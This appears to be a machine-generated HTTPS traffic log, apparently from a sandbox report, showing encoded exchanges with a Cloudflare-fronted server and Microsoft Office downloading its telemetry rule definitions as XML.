2024-11-07 18:32:07 UTC	16384	OUT	Data Raw: 76 5f 38 64 65 66 36 37 35 31 63 66 30 37 65 37 61 36 3d 6c 37 54 72 35 4d 34 56 68 54 6b 54 68 34 75 34 4d 58 51 58 6f 4f 6d 34 2d 58 6c 72 34 30 34 6b 34 24 58 64 72 34 66 58 52 58 41 30 58 39 58 35 4d 72 4d 44 74 67 56 34 41 6d 58 67 57 58 79 6d 56 58 63 58 34 37 58 53 32 58 6d 61 58 76 71 44 4a 6b 58 56 72 6d 66 58 4d 57 66 72 72 43 4f 58 54 4a 44 6a 67 39 43 79 79 4d 49 24 58 6c 6b 34 6f 58 6d 47 71 58 4e 71 51 32 56 58 61 72 4f 31 32 58 64 52 6a 52 74 58 34 71 72 34 31 6d 79 72 66 58 65 63 42 58 4f 39 6b 43 36 39 79 58 71 50 42 58 77 49 62 58 6d 6f 4d 54 78 6a 71 58 4d 74 66 51 75 39 6b 74 6e 52 6b 58 6b 24 42 78 59 34 30 55 67 32 30 6b 75 30 66 55 41 30 58 6f 7a 76 6b 6a 50 65 37 4d 68 76 36 58 32 50 70 36 71 50 55 25 32 62 57 78 55 61 30 68 66 72 Data Ascii: v_8def6751cf07e7a6=l7Tr5M4VhTkTh4u4MXQXoOm4-Xlr404k4$Xdr4fXRXA0X9X5MrMDtgV4AmXgWXymVXcX47XS2XmaXvqDJkXVrmfXMWfrrCOXTJDjg9CyyMI$Xlk4oXmGqXNqQ2VXarO12XdRjRtX4qr41myrfXecBXO9kC69yXqPBXwIbXmoMTxjqXMtfQu9ktnRkXk$BxY40Ug20ku0fUA0XozvkjPe7Mhv6X2Pp6qPU%2bWxUa0hfr
2024-11-07 18:32:07 UTC	14970	OUT	Data Raw: 58 43 58 65 72 6d 30 4d 39 57 32 58 34 72 6d 56 7a 78 56 55 78 73 34 6d 55 48 72 58 72 58 37 58 47 4f 58 74 34 6d 34 2d 58 65 4b 74 75 34 4e 58 32 58 59 75 58 31 58 59 74 79 39 58 49 58 54 30 34 58 58 6f 58 49 30 34 62 58 68 58 65 30 34 58 34 43 58 73 66 4f 32 47 30 73 6d 58 34 65 46 54 48 6d 34 48 2b 2d 47 58 75 49 4f 30 79 7a 67 70 42 34 37 34 31 72 7a 54 58 49 58 71 58 51 48 6f 53 46 38 74 73 72 59 55 58 56 58 74 74 67 30 4d 77 4c 6c 4f 63 71 58 48 6d 75 30 4f 75 72 74 58 34 46 71 65 52 6f 58 43 35 6f 6a 34 6e 4b 32 6b 58 64 52 7a 64 49 70 30 79 52 5a 42 74 62 67 6b 46 77 51 67 6d 59 47 72 71 58 4b 74 4d 62 75 32 5a 73 50 67 7a 57 64 4b 4f 30 67 42 58 6d 2d 55 54 4f 42 61 4a 68 73 54 34 56 58 39 72 77 68 34 66 4d 61 78 4d 63 7a 37 6a 31 4c 6d 52 79 39 Data Ascii: XCXerm0M9W2X4rmVzxVUxs4mUHrXrX7XGOXt4m4-XeKtu4NX2XYuX1XYty9XIXT04XXoXI04bXhXe04X4CXsfO2G0smX4eFTHm4H+-GXuIO0yzgpB4741rzTXIXqXQHoSF8tsrYUXVXttg0MwLlOcqXHmu0OurtX4FqeRoXC5oj4nK2kXdRzdIp0yRZBtbgkFwQgmYGrqXKtMbu2ZsPgzWdKO0gBXm-UTOBaJhsT4VX9rwh4fMaxMcz7j1LmRy9
2024-11-07 18:32:08 UTC	330	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26316 Connection: close cf-chl-gen: egvuD4gvtyjuTPr7Er1TRISoiwGbi6NzfoGgiqiua9VdqLDhZZ8SZfNNMQW35ICJyXhObQE7NWRV6Vai$xdoPptEimBi3RYZt Server: cloudflare CF-RAY: 8def677a0db72c92-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:08 UTC	1039	IN	Data Raw: 6a 47 57 42 52 6d 70 35 65 6d 36 55 55 34 70 73 6b 6f 64 51 6a 70 4a 34 5a 35 71 62 6d 59 32 65 6e 35 36 45 62 36 43 68 5a 33 2b 72 68 6d 56 73 66 49 35 72 62 32 79 66 73 6d 31 31 61 70 70 36 68 34 79 63 71 35 32 64 66 61 71 72 6b 6f 36 6d 70 6f 47 37 6e 36 75 35 71 36 4f 62 76 72 71 51 6e 4a 32 76 6b 37 61 32 6c 38 33 48 6b 74 71 51 6b 62 6d 36 33 65 43 63 77 2b 47 39 74 62 36 39 78 37 66 59 34 65 7a 4e 7a 4c 2f 43 33 65 33 75 37 62 66 31 32 4c 6a 59 74 76 48 55 36 38 32 2f 33 63 2f 33 35 2b 54 56 30 74 72 6d 2f 66 76 4b 42 66 6e 68 42 68 48 75 46 41 72 6c 47 51 51 46 44 42 6e 71 37 75 30 51 48 66 58 79 2b 76 6f 6d 4a 66 4d 6b 4a 43 54 73 4c 75 63 68 35 76 48 77 36 2b 33 2b 46 68 59 48 46 79 73 5a 39 2f 30 6f 48 6a 59 61 48 68 51 64 52 68 6b 6d 43 55 5a Data Ascii: jGWBRmp5em6UU4pskodQjpJ4Z5qbmY2en56Eb6ChZ3+rhmVsfI5rb2yfsm11app6h4ycq52dfaqrko6mpoG7n6u5q6ObvrqQnJ2vk7a2l83HktqQkbm63eCcw+G9tb69x7fY4ezNzL/C3e3u7bf12LjYtvHU682/3c/35+TV0trm/fvKBfnhBhHuFArlGQQFDBnq7u0QHfXy+vomJfMkJCTsLuch5vHw6+3+FhYHFysZ9/0oHjYaHhQdRhkmCUZ
2024-11-07 18:32:08 UTC	1369	IN	Data Raw: 58 63 56 68 77 6c 58 42 39 63 49 35 76 6b 34 43 4f 64 71 61 65 6f 47 47 6b 6a 4b 4b 76 6d 61 39 74 70 4b 71 4b 69 6e 47 31 6d 5a 57 52 6a 33 61 4c 72 4b 36 59 6d 61 71 59 66 71 32 58 76 6f 47 7a 67 70 61 4b 78 71 61 4b 6d 61 2b 4a 78 63 37 52 78 37 65 79 30 39 71 7a 32 5a 65 64 71 4d 48 67 31 63 36 74 33 74 58 57 34 38 58 6f 31 71 54 45 36 2b 44 73 34 38 43 38 37 74 2f 4e 78 62 62 48 37 4e 48 6f 79 75 75 2b 7a 76 59 42 2b 50 50 7a 78 62 33 59 33 2f 6e 64 2f 67 48 74 42 51 41 41 79 2b 76 73 37 4e 59 52 36 2f 44 6c 36 74 77 55 46 42 6f 56 48 51 76 73 2b 79 4c 36 47 77 55 6d 49 78 6b 64 36 2b 67 4c 4c 79 59 47 42 51 48 78 45 51 49 43 38 51 77 49 2b 41 30 6e 49 44 59 63 4e 78 51 36 44 6a 41 41 41 54 6b 5a 4a 44 63 68 4c 6a 45 4b 54 31 49 4f 4e 46 42 42 44 30 Data Ascii: XcVhwlXB9cI5vk4COdqaeoGGkjKKvma9tpKqKinG1mZWRj3aLrK6YmaqYfq2XvoGzgpaKxqaKma+Jxc7Rx7ey09qz2ZedqMHg1c6t3tXW48Xo1qTE6+Ds48C87t/NxbbH7NHoyuu+zvYB+PPzxb3Y3/nd/gHtBQAAy+vs7NYR6/Dl6twUFBoVHQvs+yL6GwUmIxkd6+gLLyYGBQHxEQIC8QwI+A0nIDYcNxQ6DjAAATkZJDchLjEKT1IONFBBD0
2024-11-07 18:32:08 UTC	1369	IN	Data Raw: 6a 58 52 69 59 5a 31 32 70 70 47 44 65 6f 71 71 59 70 64 35 6e 6d 4b 49 70 35 74 6d 72 72 56 76 71 36 65 45 64 57 36 4d 71 5a 79 41 72 48 39 2f 6c 4a 65 51 6e 34 65 66 66 48 32 36 70 71 75 2f 6e 36 53 66 77 35 4c 54 6c 62 44 43 73 38 32 74 33 4e 53 79 72 35 72 41 73 36 47 6b 76 38 2b 77 34 73 72 62 76 74 6a 6e 33 4b 6a 64 71 64 4b 70 31 61 66 6e 78 75 6a 75 73 72 6a 74 75 74 61 2f 7a 4c 66 32 38 2f 72 38 31 67 59 47 33 4d 44 64 7a 41 76 4d 37 41 76 63 2f 63 30 4d 30 51 51 4c 44 4e 51 55 31 74 7a 6c 43 66 45 64 38 75 4c 62 33 68 54 67 2f 43 59 71 34 79 66 6d 37 65 6a 38 42 76 77 6d 2f 51 77 56 38 68 63 4e 44 69 6f 78 39 50 30 78 44 2f 6b 68 4d 6b 55 30 51 45 41 44 48 45 63 71 42 45 68 4f 50 55 6b 6e 4b 68 30 39 4d 54 59 58 54 55 77 54 4a 42 73 32 55 7a 46 Data Ascii: jXRiYZ12ppGDeoqqYpd5nmKIp5tmrrVvq6eEdW6MqZyArH9/lJeQn4effH26pqu/n6Sfw5LTlbDCs82t3NSyr5rAs6Gkv8+w4srbvtjn3KjdqdKp1afnxujusrjtuta/zLf28/r81gYG3MDdzAvM7Avc/c0M0QQLDNQU1tzlCfEd8uLb3hTg/CYq4yfm7ej8Bvwm/QwV8hcNDiox9P0xD/khMkU0QEADHEcqBEhOPUknKh09MTYXTUwTJBs2UzF
2024-11-07 18:32:08 UTC	1369	IN	Data Raw: 36 46 61 6f 61 69 56 6e 4b 74 6d 6c 35 2b 4d 67 59 71 45 6b 6e 57 53 6b 35 68 73 72 4a 79 57 66 62 43 4c 6c 4c 70 38 75 6f 57 55 77 73 66 47 75 73 6e 48 70 37 75 74 68 73 47 71 70 6f 72 57 79 4d 2f 57 30 63 57 57 6b 37 6a 47 6b 5a 62 56 6f 63 2f 56 78 4b 57 68 35 65 6e 4c 36 65 79 34 34 4f 57 2b 77 2b 48 70 72 63 76 6b 73 38 6e 44 36 62 61 79 76 66 75 33 38 74 48 67 34 67 62 55 33 63 66 53 76 38 58 59 32 4d 76 62 7a 77 33 6d 43 2f 33 71 34 4d 34 49 41 78 55 58 46 76 55 65 37 2f 6a 61 39 75 30 50 44 78 7a 59 41 51 45 6d 2b 50 37 72 4b 51 44 6d 4d 42 30 55 48 2f 45 6a 4a 6a 63 59 47 67 73 35 2b 52 49 79 46 30 45 58 4d 6a 34 57 49 69 4d 53 4f 54 55 2f 51 44 59 35 43 53 45 73 42 43 55 50 4b 68 34 6b 52 79 73 74 52 45 34 56 4b 68 30 6f 56 6a 51 79 51 54 67 6c Data Ascii: 6FaoaiVnKtml5+MgYqEknWSk5hsrJyWfbCLlLp8uoWUwsfGusnHp7uthsGqporWyM/W0cWWk7jGkZbVoc/VxKWh5enL6ey44OW+w+Hprcvks8nD6bayvfu38tHg4gbU3cfSv8XY2Mvbzw3mC/3q4M4IAxUXFvUe7/ja9u0PDxzYAQEm+P7rKQDmMB0UH/EjJjcYGgs5+RIyF0EXMj4WIiMSOTU/QDY5CSEsBCUPKh4kRystRE4VKh0oVjQyQTgl
2024-11-07 18:32:08 UTC	1369	IN	Data Raw: 74 2b 6d 4a 70 71 67 37 53 6a 6a 61 53 51 69 4b 4f 4e 71 6f 75 4e 6d 4b 69 51 72 4b 47 53 6d 37 75 78 6d 37 4f 54 79 4d 71 4a 78 73 48 48 69 62 4c 49 70 59 33 42 79 73 2b 6d 77 38 33 58 73 62 48 61 79 38 2b 77 34 4a 71 36 77 37 62 42 73 4e 2f 72 32 63 6e 61 75 72 66 64 71 4f 71 2b 79 74 2f 6a 73 75 37 4d 35 4e 44 6f 32 77 44 62 76 74 4d 45 31 4d 7a 59 38 73 50 30 42 74 37 4b 2b 73 50 37 41 51 58 4b 36 51 38 4a 2f 75 62 79 46 64 62 6e 44 2b 58 6c 37 42 44 77 48 50 6e 61 35 50 62 30 4a 77 72 31 41 65 4c 39 39 67 4d 4d 4b 41 73 46 4e 43 77 44 43 53 6b 76 4b 42 55 47 46 54 77 59 43 6a 4d 7a 47 67 31 44 4e 68 52 49 4f 30 63 66 46 68 56 42 49 56 42 41 4b 79 52 44 52 42 38 6f 49 31 63 55 4e 6c 77 64 4d 54 49 58 53 31 45 38 47 31 63 6d 4f 6a 4d 6f 48 45 5a 46 5a Data Ascii: t+mJpqg7SjjaSQiKONqouNmKiQrKGSm7uxm7OTyMqJxsHHibLIpY3Bys+mw83XsbHay8+w4Jq6w7bBsN/r2cnaurfdqOq+yt/jsu7M5NDo2wDbvtME1MzY8sP0Bt7K+sP7AQXK6Q8J/ubyFdbnD+Xl7BDwHPna5Pb0Jwr1AeL99gMMKAsFNCwDCSkvKBUGFTwYCjMzGg1DNhRIO0cfFhVBIVBAKyRDRB8oI1cUNlwdMTIXS1E8G1cmOjMoHEZFZ
2024-11-07 18:32:08 UTC	1369	IN	Data Raw: 63 72 4b 39 31 6c 37 61 31 6b 58 57 72 75 4b 32 78 75 6e 2b 75 67 72 69 41 6d 61 65 30 68 37 65 6e 76 59 43 6b 68 71 2b 50 77 4d 58 48 6a 35 66 51 78 70 69 58 6d 64 7a 54 6e 4d 6a 59 32 37 61 37 34 74 76 49 6f 65 44 68 71 4f 6a 71 36 64 75 69 71 4c 44 62 76 76 58 41 7a 66 58 77 74 50 66 62 35 2f 58 71 75 76 69 2b 32 64 66 41 77 4d 66 78 41 62 7a 68 35 2f 62 48 42 38 59 50 44 76 7a 79 45 64 58 55 41 52 59 54 2f 4e 6b 64 46 4e 48 5a 45 42 30 53 46 68 2f 6a 45 2b 59 64 35 50 30 4d 47 65 73 63 44 43 4c 6b 43 65 6f 55 38 79 55 71 4c 50 50 37 4e 53 73 33 4b 44 55 37 41 76 58 32 2f 55 49 77 4d 55 46 41 52 43 52 4a 52 53 4d 68 49 68 41 47 53 6b 49 54 51 31 6c 4e 46 55 68 53 55 42 70 64 55 6b 38 62 59 46 6f 68 49 7a 31 6d 55 6d 41 70 56 57 56 6f 4c 55 39 73 61 33 Data Ascii: crK91l7a1kXWruK2xun+ugriAmae0h7envYCkhq+PwMXHj5fQxpiXmdzTnMjY27a74tvIoeDhqOjq6duiqLDbvvXAzfXwtPfb5/Xquvi+2dfAwMfxAbzh5/bHB8YPDvzyEdXUARYT/NkdFNHZEB0SFh/jE+Yd5P0MGescDCLkCeoU8yUqLPP7NSs3KDU7AvX2/UIwMUFARCRJRSMhIhAGSkITQ1lNFUhSUBpdUk8bYFohIz1mUmApVWVoLU9sa3
2024-11-07 18:32:08 UTC	1369	IN	Data Raw: 6f 35 4b 78 74 70 46 39 76 4c 6d 37 64 72 79 2b 72 34 57 39 77 49 69 30 79 4d 66 48 79 4d 58 4c 6b 4d 54 50 7a 5a 54 45 79 74 48 54 6d 64 72 58 78 35 6e 63 32 64 76 51 33 64 33 66 76 75 44 68 34 2b 7a 6e 35 61 7a 6b 37 4f 72 46 37 4f 72 73 74 4f 7a 79 38 76 4f 31 2b 66 62 33 75 66 62 36 31 51 58 32 2f 75 38 4a 41 41 4c 49 43 51 73 48 43 4d 30 4a 43 67 7a 71 44 52 44 55 44 51 38 54 37 51 6b 56 46 39 77 4a 46 68 6e 67 46 52 30 66 49 4f 55 6b 49 2f 30 5a 4b 79 62 73 48 53 4d 72 42 69 55 76 4c 7a 41 35 4e 54 50 34 50 54 67 32 4f 42 63 34 4f 7a 77 74 51 54 34 46 41 6b 4a 45 43 54 56 49 52 51 31 42 54 55 6f 52 51 55 78 50 55 45 31 58 55 68 6c 5a 54 31 63 64 54 56 35 62 49 56 31 67 58 6d 41 6d 58 32 52 6b 51 32 56 6f 51 6d 6c 72 61 31 78 6c 62 47 38 31 64 57 74 Data Ascii: o5KxtpF9vLm7dry+r4W9wIi0yMfHyMXLkMTPzZTEytHTmdrXx5nc2dvQ3d3fvuDh4+zn5azk7OrF7OrstOzy8vO1+fb3ufb61QX2/u8JAALICQsHCM0JCgzqDRDUDQ8T7QkVF9wJFhngFR0fIOUkI/0ZKybsHSMrBiUvLzA5NTP4PTg2OBc4OzwtQT4FAkJECTVIRQ1BTUoRQUxPUE1XUhlZT1cdTV5bIV1gXmAmX2RkQ2VoQmlra1xlbG81dWt
2024-11-07 18:32:08 UTC	1369	IN	Data Raw: 62 6a 42 6c 72 43 47 6e 35 43 6d 6b 70 79 44 6d 4d 50 48 70 34 32 65 71 6f 75 76 79 38 2b 76 6c 36 61 79 6b 37 66 54 31 37 53 75 33 4f 44 6b 31 71 2f 51 75 39 2f 66 36 63 72 65 35 74 43 72 7a 71 2f 45 73 38 4c 73 74 4f 44 76 37 2b 72 62 38 2f 50 39 33 76 4c 36 36 2f 6a 78 2f 41 62 30 43 73 66 73 79 39 6f 46 78 63 33 38 79 42 50 79 41 38 7a 6f 30 73 76 6e 43 63 34 4a 31 50 44 64 44 68 6b 69 41 79 62 75 49 50 7a 7a 4a 52 6f 44 48 2f 62 74 41 66 6b 70 4d 76 34 32 38 78 6e 33 41 7a 45 36 46 79 6f 31 50 67 39 43 2b 44 77 63 39 30 46 46 2b 6a 73 42 43 69 41 4e 52 51 5a 52 55 68 41 31 46 43 4a 4e 56 6b 56 47 47 6c 6c 4c 4e 6c 5a 66 4d 32 49 67 52 52 73 6c 58 52 35 58 51 6d 4a 72 50 31 70 6c 4a 6c 39 4b 61 6d 4e 48 64 6a 52 5a 4c 7a 42 78 4d 6d 74 57 64 6d 39 54 Data Ascii: bjBlrCGn5CmkpyDmMPHp42eqouvy8+vl6ayk7fT17Su3ODk1q/Qu9/f6cre5tCrzq/Es8LstODv7+rb8/P93vL66/jx/Ab0Csfsy9oFxc38yBPyA8zo0svnCc4J1PDdDhkiAybuIPzzJRoDH/btAfkpMv428xn3AzE6Fyo1Pg9C+Dwc90FF+jsBCiANRQZRUhA1FCJNVkVGGllLNlZfM2IgRRslXR5XQmJrP1plJl9KamNHdjRZLzBxMmtWdm9T

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:08 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 18:32:08 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:08 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 05 Nov 2024 17:40:36 GMT ETag: "0x8DCFDC0F4F27BCD" x-ms-request-id: a74cbab7-101e-0017-041c-3047c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T183208Z-15869dbbcc6zbpm7hC1DFW75xg00000001p000000000wsm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 18:32:08 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 